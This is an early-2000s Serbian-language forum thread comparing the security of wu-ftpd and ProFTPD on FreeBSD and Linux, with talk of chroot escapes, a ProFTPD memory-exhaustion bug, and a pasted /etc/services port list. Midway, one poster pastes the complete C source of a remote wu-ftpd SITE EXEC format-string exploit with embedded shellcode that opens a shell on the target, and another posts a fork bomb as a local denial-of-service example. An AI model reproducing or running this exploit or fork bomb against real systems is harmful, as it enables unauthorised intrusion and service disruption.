[ Vojislav Milunovic @ 13.01.2001. 11:59 ] @
Ovako po mom dosadasnjem iskustvu FreeBSD se pokazo kao dobar izbor za ftp server? Zasto?
Zato sto nijedan hacker ne moze da vam uzme remote kontrolu nad ftpom.Koliko sam video u dosadasnjem citanju source kernela.Nema sanse da se sa nekim buffer overflowom slomi FTPd.Ovo vazi za wu-ftpd jel nikad nisam imao prilike da radim sa proFTPdom naime kako sve ovo radi ->
wu ftpd chroot()-uje anonymous korisnika u neki dir i tu ga drzi na oku:o)zatim poveze 1 i 0 file descriptore za socket na kome se nalazi user tako da kao da imate shell na tom kompu stim sto mozete samo da izvrsite ls.
Drugo i najbitnije je sto na Linuxu je relativno lako slomiti chroot() okruzenje sa jednim prostim chroot() shell codeom dok na BSDu nije to slucaj.
Na BSDu mozete da se dobije root buffer overflowom samo , samo ako imate account u suprotnom dzabe cete gubiti vreme sa raznim exploitima tipa buffer overflow na BSD wu ftpd i jos preko anonymous-a...
Eto to je bilo to...
[ Gojko Vujovic @ 13.01.2001. 15:48 ] @
fala na finom objasnjenju
[ emperor @ 13.01.2001. 18:17 ] @
bas si nas prosvetylio
bilo bi dobro kada bi bilo vise ovakvih tekstova
[ Gojko Vujovic @ 13.01.2001. 22:46 ] @
naravno

ajde sad svi moderatori bacite se na pisanje !
[ Vojislav Milunovic @ 14.01.2001. 12:40 ] @
Ima doduse jedna fora ali je to manje poznata od standardne i ne koristi se uopste cak sta vise ta fora je toliko sakrivena da niko nece da je da publish.Cak mislim da je samo elita cuva za sebe i nikom ne da.

Ali kako u svim exploitima a narocitu u wuftpd2600.c je pokkvaren kod za Linux a na BSD nece da radi.Skript kiddie nemaju sanse uopste:o))
Za ispravan kod za Linux idite na
http://predator.tlsecurity.com/lam3rz_chroot.txt :o)) pozdrav...
[ caboom @ 20.04.2001. 13:04 ] @
wuftpd je los izbor sam po sebi... jeste da je proftpd kao tezi za podesavanje, ali je mnogo hmmm... skalabilniji po pitanju opcija i uopste po nivou konfigurabilnosti... ja licno nikada ne bih stavljao wuftpd na masinu, to je kao da poklanjas masinu svetu :)
[ gandalf @ 20.04.2001. 15:09 ] @
ProFTPD je cool :o)

[Ovu poruku je menjao gandalf dana 04-20-2001 u 02:14 PM GMT]
[ Vojislav Milunovic @ 20.04.2001. 15:26 ] @
A sta mislite o DoS napadau u proFTPD koji proces sa 1MB memorije dize na 90MB :o))
Tad sam zaustavio jer nisam hteo vise da mi se usporava kompis verzija je bila 1.2.0 mada mislim da bi nastavio da zvrlja i po swap-u da ga nisam iskljucio...promenu rezultata (povecanje memorije) sam pratio preko top :o)

Inace proFTPD ima opciju da preko SQL baze (postgreSQL ili mySQL) administrirate korisnike...
zvuci interesantno :o) ZAr ne?
[ caboom @ 20.04.2001. 16:13 ] @
predatore, predatore :)

DoS napadi se u novijim verzijama proftpd-a regulisu restrikcijama child procesa :) i to editovanjem config file-a...

btw. ima raznih opcija za autentifikaciju kod proftpd-a...


[ gandalf @ 20.04.2001. 17:32 ] @
Kao sto rece caboom
# grep "MaxIntances" proftpd.conf
MaxIntances 30
i sve je sredjeno :o)
[ Vojislav Milunovic @ 20.04.2001. 18:21 ] @
Ne ne ne mislim na Instances to je namesteno na 30 :o) stavi 1 i opet ce da te dosuju :o))
ali mozda je u 1.2.1 taj bug ispravljen bas cu da pogledam
[ Vojislav Milunovic @ 20.04.2001. 18:57 ] @
uppss moja verzija je 1.2.1 mozda je 1.2.2rc1 ispravljeno :o) Ce da vidimo
[ stinger @ 21.04.2001. 15:36 ] @
Citat:
predator wrote:
Ovako po mom dosadasnjem iskustvu FreeBSD se pokazo kao dobar izbor za ftp server? Zasto?
Zato sto nijedan hacker ne moze da vam uzme remote kontrolu nad ftpom.Koliko sam video u dosadasnjem citanju source kernela.Nema sanse da se sa nekim buffer overflowom slomi FTPd.Ovo vazi za wu-ftpd jel nikad nisam imao prilike da radim sa proFTPdom naime kako sve ovo radi ->
wu ftpd chroot()-uje anonymous korisnika u neki dir i tu ga drzi na oku:o)zatim poveze 1 i 0 file descriptore za socket na kome se nalazi user tako da kao da imate shell na tom kompu stim sto mozete samo da izvrsite ls.
Drugo i najbitnije je sto na Linuxu je relativno lako slomiti chroot() okruzenje sa jednim prostim chroot() shell codeom dok na BSDu nije to slucaj.
Na BSDu mozete da se dobije root buffer overflowom samo , samo ako imate account u suprotnom dzabe cete gubiti vreme sa raznim exploitima tipa buffer overflow na BSD wu ftpd i jos preko anonymous-a...
Eto to je bilo to...




sto se tice sigurnosti wu-ftpd-a samo da te razuverim... cini mi se da sam pisao vec o proftpd-u ... reci cu samo da ftp.kernel.org koristi proftpd... da li si se nekad zapitao zasto?

/*
* wu-ftpd - 2.6.1(1)
*
* this is an exploit for wu-ftpd 2.6.1(1) on linux
* propz to segv for giving this to me
*
*
* DiGiT
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>

char linuxcode[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";


main (int argc, char *argv[])
{

char cmdbuf[8192];
char cbuf[1024];
char *t;
char nop[400];
int pip, i, a = 22, st = 0;
struct sockaddr_in sck;
struct hostent *hp;
long inet;
int port = 21;
fd_set fds;
unsigned int aa;
long reta, retb, tmp, retz;
int ret;
int add = 0;

memset (cmdbuf, 0x0, sizeof (cmdbuf));
memset (cbuf, 0x0, sizeof (cbuf));
memset (nop, 0x0, sizeof (nop));

if (argc < 2)
{
fprintf (stderr, "Usage: %s [ip] \n", argv[0]);
exit (-1);
}

pip = socket (PF_INET, SOCK_STREAM, 0);

if (!pip)
{
perror ("socket()");
exit (-1);
}

inet = inet_addr (argv[1]);
if (inet == -1)
{
if (hp = gethostbyname (argv[1]))
memcpy (&inet, hp->h_addr, 4);
else
inet = -1;
if (inet == -1)
{
fprintf (stderr, "Cant resolv %s!! \n", argv[1]);
exit (-1);
}
}
sck.sin_family = PF_INET;
sck.sin_port = htons (port);
sck.sin_addr.s_addr = inet;

if (connect (pip, (struct sockaddr *) &sck, sizeof (sck)) < 0)
{
perror ("Connect() ");
exit (-1);
}

read (pip, cbuf, 1023);
fprintf (stderr, "Connected to: %s \n", argv[1]);
fprintf (stderr, "Banner: %s \n", cbuf);
strcpy (cmdbuf, "user ftp\n");
write (pip, cmdbuf, strlen (cmdbuf));
memset (nop, 0x90, sizeof (nop) - strlen (linuxcode) - 10);

strcat (nop, linuxcode);

memset (cmdbuf, 0x0, sizeof (cmdbuf));
sprintf (cmdbuf, "pass %s\n", nop);
write (pip, cmdbuf, strlen (cmdbuf));
sleep (1);
read (pip, cmdbuf, sizeof (cmdbuf) - 1);
memset (cmdbuf, 0x0, sizeof (cmdbuf));
if (!strncmp (cmdbuf, "530", 3))
{
printf ("loggin incorrect : %s \n", cmdbuf);
exit (-1);
}
fprintf (stderr, "Logged in.. \n");
fprintf (stderr, "+ Finding ret addresses \n");
memset (cmdbuf, 0x0, sizeof (cmdbuf));
strcpy (cmdbuf, "SITE EXEC %x %x %x %x +%x |%x\n");
write (pip, cmdbuf, strlen (cmdbuf));
sleep (1);
memset (cmdbuf, 0x0, sizeof (cmdbuf));
read (pip, cmdbuf, sizeof (cmdbuf) - 1);
if (!strncmp (cmdbuf + 4, "%x", 2))
{
fprintf (stderr, "[1m[31mWuftpd is not vulnerable : %s \n[0m",
cmdbuf);
exit (-1);
}
else
{
fprintf (stderr, "[1m[32mWuftpd is vulnerable : %s \n[0m",
cmdbuf);
}
reta = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") +
11, 16);
retz = strtoul (strstr (cmdbuf, "+") + 1, strstr (cmdbuf, "|") +
11, 16);

memset (cmdbuf, 0x0, sizeof (cmdbuf));
strcpy (cmdbuf, "SITE EXEC ");
for (ret = 0; ret <= 88; ret++)
{
strcat (cmdbuf, "%x");
}
strcat (cmdbuf, "|%x\n");
write (pip, cmdbuf, strlen (cmdbuf));
sleep (1);
memset (cmdbuf, 0x0, sizeof (cmdbuf));
read (pip, cmdbuf, sizeof (cmdbuf) - 1);
retb = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") +
11, 16);
printf ("Ret location befor: %x \n", reta);
if (reta == 0)
reta = retz;
else
add = 600;
reta = reta - 0x58;
retb = retb + 100 - 0x2569 - add;
printf ("Ret location : %x \n", reta);
printf ("Proctitle addres : %x and %u \n", retb, retb);
sleep (2);
memset (cmdbuf, 0x0, sizeof (cmdbuf));

sprintf (cmdbuf, "SITE EXEC
aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
(reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
(reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
a = 22;
memset (cbuf, 0x0, sizeof (cbuf));
while (1)
{

memset (cmdbuf, 0x0, sizeof (cmdbuf));

sprintf (cmdbuf, "SITE EXEC
aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
(reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
(reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
for (i = 0; i <= 128; i++)
strcat (cmdbuf, "%.f");
for (i = 0; i <= a; i++)
strcat (cmdbuf, "%d");
sprintf (cbuf, "|%%x|%%x\n", aa + 9807 - 460);
strcat (cmdbuf, cbuf);
write (pip, cmdbuf, strlen (cmdbuf));
memset (cmdbuf, 0x0, sizeof (cmdbuf));
read (pip, cmdbuf, sizeof (cmdbuf) - 1);
t = (char *) strstr (cmdbuf, "|");
tmp = strtoul (t + 1, t + 11, 16);
if (tmp != 0)
{
fprintf (stderr, "tmp 1 : 0x%x\n", tmp);
if (tmp == reta)
{
fprintf (stderr, "Cached a : %d \n", a);
st = 1;
break;
}
tmp = strtoul (t + 11, t + 22, 16);
fprintf (stderr, "tmp 2 : 0x%x\n", tmp);
if (tmp == reta)
{
fprintf (stderr, "Cached a : %d \n", a);
st = 2;
break;
}
}
if (st > 0)
break;
a++;
}
sleep (1);
memset (cmdbuf, 0x0, sizeof (cmdbuf));
memset (cbuf, 0x0, sizeof (cbuf));

sprintf (cmdbuf, "SITE EXEC
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
(reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
(reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
for (i = 0; i <= 128; i++)
strcat (cmdbuf, "%.f");
if (add != 600)
a = a - 1;
fprintf (stderr, "Trying with : %d \n", a);
for (i = 0; i <= a; i++)
strcat (cmdbuf, "%d");

aa = retb;
if (add == 600)
sprintf (cbuf, "|%%.%ud%%n\n", aa + 9807);
else
sprintf (cbuf, "|%%.%ud%%n\n", aa + 9807 - 480);

strcat (cmdbuf, cbuf);
write (pip, cmdbuf, strlen (cmdbuf));
memset (cmdbuf, 0x0, sizeof (cmdbuf));
read (pip, cmdbuf, sizeof (cmdbuf) - 1);
memset (cmdbuf, 0x0, sizeof (cmdbuf));

fprintf (stderr, "[1m[33m Wait for a shell.....\n[0m");


while (1)
{
FD_ZERO (&fds);
FD_SET (0, &fds);
FD_SET (pip, &fds);
select (255, &fds, NULL, NULL, NULL);
if (FD_ISSET (pip, &fds))
{
memset (cbuf, 0x0, sizeof (cbuf));
ret = read (pip, cbuf, sizeof (cbuf) - 1);
if (ret <= 0)
{
printf ("Connection closed - EOF \n");
exit (-1);
}
printf ("%s", cbuf);
}
if (FD_ISSET (0, &fds))
{
memset (cbuf, 0x0, sizeof (cbuf));
read (0, cbuf, sizeof (cbuf) - 1);
write (pip, cbuf, strlen (cbuf));
}
}
close (pip);
}

[ Vojislav Milunovic @ 21.04.2001. 15:57 ] @
Sta ce mi exploit za 2.6.0 ? Ti ako si lud ti teraj 2.6.0 lepo su ljudi izbacili 2.6.1(2)...pa ko voli nek izvoli...
[ stinger @ 23.04.2001. 08:33 ] @
;) koristis 2.6.1 ... daj adresu... da te posetimo... ;)
[ Vojislav Milunovic @ 23.04.2001. 12:22 ] @
Ok javni mi se na ICQ ce ti dam pristup :o)
Ali kazem ti ovaj exploit ne radi na 2.6.1 jer je to 2.6.0 exploit :o)
pogledaj bug koji iskoriscava :o)
[ gandalf @ 23.04.2001. 14:20 ] @
Ne radi na wu-ftpd-u 2.6.1 :o) Provereno :o)
[ gandalf @ 23.04.2001. 14:26 ] @
predatore kako si se snasao da onemogucis obicnim userima da te DoS-uju lokalno :o) ?? ( Znam da nemas shell server ali probaj da zamislis da imas ) Ovaj jepeni DoS :

#include <stdio.h>
int main (void)
{
for ( ; ; )
fork ();
}

Si ogranicio proj procesa po useru il nesto drugo ??

Il nijedno ni drugo :o)
[ gandalf @ 23.04.2001. 15:07 ] @
Keke nasao sam :o))))

cd /etc
echo "username U15 " >> limits

i ogranicio si useru broj procesa koje moze da kreira ( stvarno cool fazom ima jos zanimljivosti man limits ) :o)
[ Vojislav Milunovic @ 23.04.2001. 15:31 ] @
Citat:
gandalf wrote:
Ne radi na wu-ftpd-u 2.6.1 :o) Provereno :o)



Dovoljno je samo da pogledas u kod exploita i shvatices da ovo nije exploit za 2.6.1 ...
[ BaCkSpAcE @ 23.04.2001. 23:49 ] @
Ej ljudi, mogli smo i mi da napravimo neshto kao OpenHack... da podesi svako svoju makinu i da je da na testiranje :o) Mislio sam na primer da predator da nekome shell u FreeBSD i da taj neko pokusa da ugrozi predatorov jos uvek neukrotivi FreeBSD :)... Ajd ako imate vi neke ideje, ja sam vam na raspolaganju... Trenutno sam iskonfigurisao moj win2k, tako da ga dajem na "testiranje"...

p0zdrav
[ stinger @ 24.04.2001. 09:01 ] @
Citat:
gandalf wrote:
Ne radi na wu-ftpd-u 2.6.1 :o) Provereno :o)


znam... ;) ali ne govorim o tome expl-u... a i ne radim to vise... ;>
[ m r v a @ 24.04.2001. 10:03 ] @
Citat:
BaCkSpAcE wrote:
Ej ljudi, mogli smo i mi da napravimo neshto kao OpenHack... da podesi svako svoju makinu i da je da na testiranje :o) Mislio sam na primer da predator da nekome shell u FreeBSD i da taj neko pokusa da ugrozi predatorov jos uvek neukrotivi FreeBSD :)... Ajd ako imate vi neke ideje, ja sam vam na raspolaganju... Trenutno sam iskonfigurisao moj win2k, tako da ga dajem na "testiranje"...

p0zdrav


Ja imam kuci jedan P200 .... nema nista pametno na njemu .... tako da bih mogao da se pridruzim akciji ...
L;))
[ Vojislav Milunovic @ 24.04.2001. 10:05 ] @
Pa pazi i da imas 2.6.1 exploit(usta neverujem) :
1. moras da slomis chroot okruzenje kod mene...
2. to je skoro nemoguce na FReeBSD (ali ipak moguce)
3. te fore za razbijanje su local mada tesko ali veoma tesko mislim da mogu da se implementiraju remote...

Prema tome : mlacenje prazne slame :o)

Sto se tice mog FreeBSDa on je siguran koliko i svaki FreeBSD koji ima :
1. squid : 8080 port
2. Apache (SSL,PHP) : 80 port
3 bind 9.1.0 : 53 udp port
4.ssh2.4 : 22 port (sa www.ssh.com nekako mi je lepsi nego openSSH)
5.pgp_fingerd : 79 port (moj mali progy za pgp fingering recimp finger [email protected]_ip dace pgp)
6.mysql na nekom portu pitaj boga...
7.proftpd 1.2.2rc1 :21 port

Istina da ima mnooogo servisa ali vecina od njh nije exploitabilna na neki laksi nacin...
Tako da ako je nekom bas stalo ono do jaja da proba nek mi se javne na ICQ dobice IP user/pass pa nek radi sta oce :o)
[ Ivand @ 24.04.2001. 10:51 ] @
Ovo bi mogla da bude nova tema

gde da nadjem listu za sta se koriste prvih 1024 porta ?
[ Gojko Vujovic @ 24.04.2001. 12:05 ] @
Well known ports

Nego.. jel tebe neko ucio da na internetu (da to je ona svetska mreza) postoji nesto sto se zove search engine? Za ovakva pametna pitanja je dusu dao..

A pogledaj i /etc/services...
[ Vojislav Milunovic @ 24.04.2001. 16:13 ] @
Gojko ja kucam edit C:\etc\services ali nista ne dobijam? U cemu je stos???
:o))
[ Gojko Vujovic @ 24.04.2001. 19:33 ] @
Ma...

Sad ja ispadam kao nadrndan i brecam se na sve redom. Ali ovo pitanje je toliko debilno da nisam mogao da izdrzim! I ovo je jos bila blaza varijanta, ipak sam mu dao odgovor iako nije zasluzio ni...

Nista Smiren sam..
[ slash @ 17.07.2001. 12:18 ] @
Citat:
predator je napisao:
A sta mislite o DoS napadau u proFTPD koji proces sa 1MB memorije dize na 90MB :o))
Tad sam zaustavio jer nisam hteo vise da mi se usporava kompis verzija je bila 1.2.0 mada mislim da bi nastavio da zvrlja i po swap-u da ga nisam iskljucio...promenu rezultata (povecanje memorije) sam pratio preko top :o)

Inace proFTPD ima opciju da preko SQL baze (postgreSQL ili mySQL) administrirate korisnike...
zvuci interesantno :o) ZAr ne?



vjerojatno si mislio na internal overflow koji se dogadja unutar glob() funkcije.....zato postoji config file u kojem mozes jasno definirati koliko momorije korisnik moze zauzeti. Ako zauzme vise, bude diskonektiran. Jesi dobio moj exploit za freebsd ?

proftpd nije tako losa ideja, ako se pravilno konfigurira. Osim toga, napraviti virtualnu particiju te staviti ftpd unutar choort() jaila i nije tako tesko ali u pitanje dolazi funkcionalnost.
[ slash @ 17.07.2001. 12:28 ] @
pogledaj NetBSD na kojem je nemoguce izaci iz chroot()-anog environ-a zbog sys___getcwd() syscall-a koji prati broj "..." (trailing dots-a). Tu je jos i vn_isunder() koji se koristi u vise sistemskih poziva (syscalla) kao sto su chroot() fchroot() fchdir() koji se brine da direktori procesa nikad nebude iznad root dira.

[ Vojislav Milunovic @ 17.07.2001. 13:54 ] @
Ne ne mislio sam kod proftpd-a je bio neki bug sa gomilom :
/.*/.*/.*/ ... i ono guta memoriju ko lud ;o) sa glob() bi pao ali ovaj guta memroiju...pazi cak mi se i X gasio,mp3 je usporavao ,odziv na tastaturu je bio ocajan,jedva sam ukucao killall proftpd.
U 1.2.2rc2 problem je resen sad samo diskonektuje usera koji proba taki DOS.
[ Vojislav Milunovic @ 17.07.2001. 13:59 ] @
Imaju forice da se sa mknod() kreira device preko koga mogu da se citaju podaci.Hmmm mozda bi se mogao nekako i mountovati pa uraditi chroot() unutar tog fs-a.
Znam recimo kad kod bsd zajebem neku conf skritpicu i ocu da je ispravim moram da se dignem u signle mod :
boot -s ili da pritisnem ctrl+c kod automountovanja.
Onda kako mi je fs mountovan r na :/ -> /dev/ad0s1a ja uzmem i montiram :
/dev/ad0s1 na /mnt i izmenim sta se treba izmeniti.opalim /sbin/init 6 i promene su sacuvane.
Inace moze se chroot() na bsd slomiti na foru modula.Ceo shell code + modulce sam ti poslao ranije pod imenom crazy ;o)
[ stinger @ 12.07.2002. 15:06 ] @
Citat:
Ivand:
Ovo bi mogla da bude nova tema

gde da nadjem listu za sta se koriste prvih 1024 porta ?


mozda u /etc/services ? :)

#
# Network services, Internet style
#
# Note that it is presently the policy of IANA to assign a single well-known
# port number for both TCP and UDP; hence, most entries here have two entries
# even if the protocol doesn't support UDP operations.
# Updated from RFC 1340, ``Assigned Numbers'' (July 1992). Not all ports
# are included, only the more common ones.
#
# from: @(#)services 5.8 (Berkeley) 5/9/91
# $Id: services,v 1.9 1993/11/08 19:49:15 cgd Exp $
#
tcpmux 1/tcp # TCP port service multiplexer
echo 7/tcp
echo 7/udp
discard 9/tcp sink null
discard 9/udp sink null
systat 11/tcp users
daytime 13/tcp
daytime 13/udp
netstat 15/tcp
qotd 17/tcp quote
msp 18/tcp # message send protocol
msp 18/udp # message send protocol
chargen 19/tcp ttytst source
chargen 19/udp ttytst source
ftp-data 20/tcp # File Transfer [Default Data]
ftp-data 20/udp # File Transfer [Default Data]
ftp 21/tcp # File Transfer [Control]
ftp 21/udp # File Transfer [Control]
ssh 22/tcp # Secure Shell Login
ssh 22/udp # Secure Shell Login
telnet 23/tcp
telnet 23/udp
# 24 - private
smtp 25/tcp mail
# 26 - unassigned
time 37/tcp timserver
time 37/udp timserver
rlp 39/udp resource # resource location
nameserver 42/tcp name # IEN 116
whois 43/tcp nicname
domain 53/tcp nameserver # name-domain server
domain 53/udp nameserver
mtp 57/tcp # deprecated
bootps 67/tcp # BOOTP server
bootps 67/udp
bootpc 68/tcp # BOOTP client
bootpc 68/udp
tftp 69/udp
gopher 70/tcp # Internet Gopher
gopher 70/udp
rje 77/tcp netrjs
finger 79/tcp
www 80/tcp http # WorldWideWeb HTTP
www 80/udp # HyperText Transfer Protocol
link 87/tcp ttylink
kerberos 88/tcp krb5 # Kerberos v5
kerberos 88/udp
supdup 95/tcp
# 100 - reserved
hostnames 101/tcp hostname # usually from sri-nic
iso-tsap 102/tcp tsap # part of ISODE.
csnet-ns 105/tcp cso-ns # also used by CSO name server
csnet-ns 105/udp cso-ns
rtelnet 107/tcp # Remote Telnet
rtelnet 107/udp
pop2 109/tcp postoffice # POP version 2
pop2 109/udp
pop3 110/tcp # POP version 3
pop3 110/udp
sunrpc 111/tcp
sunrpc 111/udp
auth 113/tcp tap ident authentication
sftp 115/tcp
uucp-path 117/tcp
nntp 119/tcp readnews untp # USENET News Transfer Protocol
ntp 123/tcp
ntp 123/udp # Network Time Protocol
netbios-ns 137/tcp # NETBIOS Name Service
netbios-ns 137/udp
netbios-dgm 138/tcp # NETBIOS Datagram Service
netbios-dgm 138/udp
netbios-ssn 139/tcp # NETBIOS session service
netbios-ssn 139/udp
imap2 143/tcp # Interim Mail Access Proto v2
imap2 143/udp
snmp 161/udp # Simple Net Mgmt Proto
snmp-trap 162/udp snmptrap # Traps for SNMP
cmip-man 163/tcp # ISO mgmt over IP (CMOT)
cmip-man 163/udp
cmip-agent 164/tcp
cmip-agent 164/udp
xdmcp 177/tcp # X Display Mgr. Control Proto
xdmcp 177/udp
nextstep 178/tcp NeXTStep NextStep # NeXTStep window
nextstep 178/udp NeXTStep NextStep # server
bgp 179/tcp # Border Gateway Proto.
bgp 179/udp
prospero 191/tcp # Cliff Neuman's Prospero
prospero 191/udp
irc 194/tcp # Internet Relay Chat
irc 194/udp
smux 199/tcp # SNMP Unix Multiplexer
smux 199/udp
at-rtmp 201/tcp # AppleTalk routing
at-rtmp 201/udp
at-nbp 202/tcp # AppleTalk name binding
at-nbp 202/udp
at-echo 204/tcp # AppleTalk echo
at-echo 204/udp
at-zis 206/tcp # AppleTalk zone information
at-zis 206/udp
z3950 210/tcp wais # NISO Z39.50 database
z3950 210/udp wais
ipx 213/tcp # IPX
ipx 213/udp
imap3 220/tcp # Interactive Mail Access
imap3 220/udp # Protocol v3
ulistserv 372/tcp # UNIX Listserv
ulistserv 372/udp
#
# UNIX specific services
#
exec 512/tcp
biff 512/udp comsat
login 513/tcp
who 513/udp whod
shell 514/tcp cmd # no passwords used
syslog 514/udp
printer 515/tcp spooler # line printer spooler
talk 517/udp
ntalk 518/udp
route 520/udp router routed # RIP
timed 525/udp timeserver
tempo 526/tcp newdate
courier 530/tcp rpc
conference 531/tcp chat
netnews 532/tcp readnews
netwall 533/udp # -for emergency broadcasts
uucp 540/tcp uucpd # uucp daemon
remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem
klogin 543/tcp # Kerberized `rlogin' (v5)
kshell 544/tcp # Kerberized `rsh' (v5)
kerberos-adm 749/tcp # Kerberos `kadmin' (v5)
#
webster 765/tcp # Network dictionary
webster 765/udp
#
# From ``Assigned Numbers'':
#
#> The Registered Ports are not controlled by the IANA and on most systems
#> can be used by ordinary user processes or programs executed by ordinary
#> users.
#
#> Ports are used in the TCP [45,106] to name the ends of logical
#> connections which carry long term conversations. For the purpose of
#> providing services to unknown callers, a service contact port is
#> defined. This list specifies the port used by the server process as its
#> contact port. While the IANA can not control uses of these ports it
#> does register or list uses of these ports as a convienence to the
#> community.
#
ingreslock 1524/tcp
ingreslock 1524/udp
prospero-np 1525/tcp # Prospero non-privileged
prospero-np 1525/udp
rfe 5002/tcp # Radio Free Ethernet
rfe 5002/udp # Actually uses UDP only
#
#
# Kerberos (Project Athena/MIT) services
# Note that these are for Kerberos v4, and are unofficial. Sites running
# v4 should uncomment these and comment out the v5 entries above.
#
kerberos 750/udp kdc # Kerberos (server) udp
kerberos 750/tcp kdc # Kerberos (server) tcp
krbupdate 760/tcp kreg # Kerberos registration
kpasswd 761/tcp kpwd # Kerberos "passwd"
klogin 543/tcp # Kerberos rlogin
eklogin 2105/tcp # Kerberos encrypted rlogin
kshell 544/tcp krcmd # Kerberos remote shell
#
# Unofficial but necessary (for NetBSD) services
#
supfilesrv 871/tcp # SUP server
supfiledbg 1127/tcp # SUP debugging